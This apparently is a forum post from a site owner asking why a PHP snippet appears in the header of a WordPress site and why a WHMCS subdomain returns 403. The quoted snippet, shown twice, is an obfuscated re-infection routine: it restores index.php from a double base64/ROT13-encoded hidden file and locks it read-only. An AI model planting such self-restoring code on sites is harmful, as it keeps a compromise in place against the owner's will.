Strange error | $i_p = "index.php"; $index = file_get_contents($i_p);

in this case I dont understand from came this error. I can't say more because I don't know exactly where this error might be coming from.

I've enabled litespeed web server. For 2 days working everything correct. Today morning when I open my website I see:

for WordPress website working correct but some elements not working and display error in header:

$i_p = "index.php"; 
$index = file_get_contents($i_p); 
$path = "{index_hide}"; 
if (file_exists($path)) { 
    $index_hide = file_get_contents($path); 
    $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); 
    if(md5($index) != md5($index_hide)) { 
        @chmod($i_p, 0644); 
        @file_put_contents($i_p, $index_hide); 
        @chmod($i_p, 0444); 
    } 
} 
$i_p = "index.php"; 
$index = file_get_contents($i_p); 
$path = "{index_hide}"; 
if (file_exists($path)) { 
    $index_hide = file_get_contents($path); 
    $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); 
    if(md5($index) != md5($index_hide)) { 
        @chmod($i_p, 0644); 
        @file_put_contents($i_p, $index_hide); 
        @chmod($i_p, 0444); 
    } 
}

for subdomain WHMCS no working is:

403​
Forbidden​
Access to this resource on the server is denied!

I'm not sure what the error might be and where is it coming from? Thanks for the hint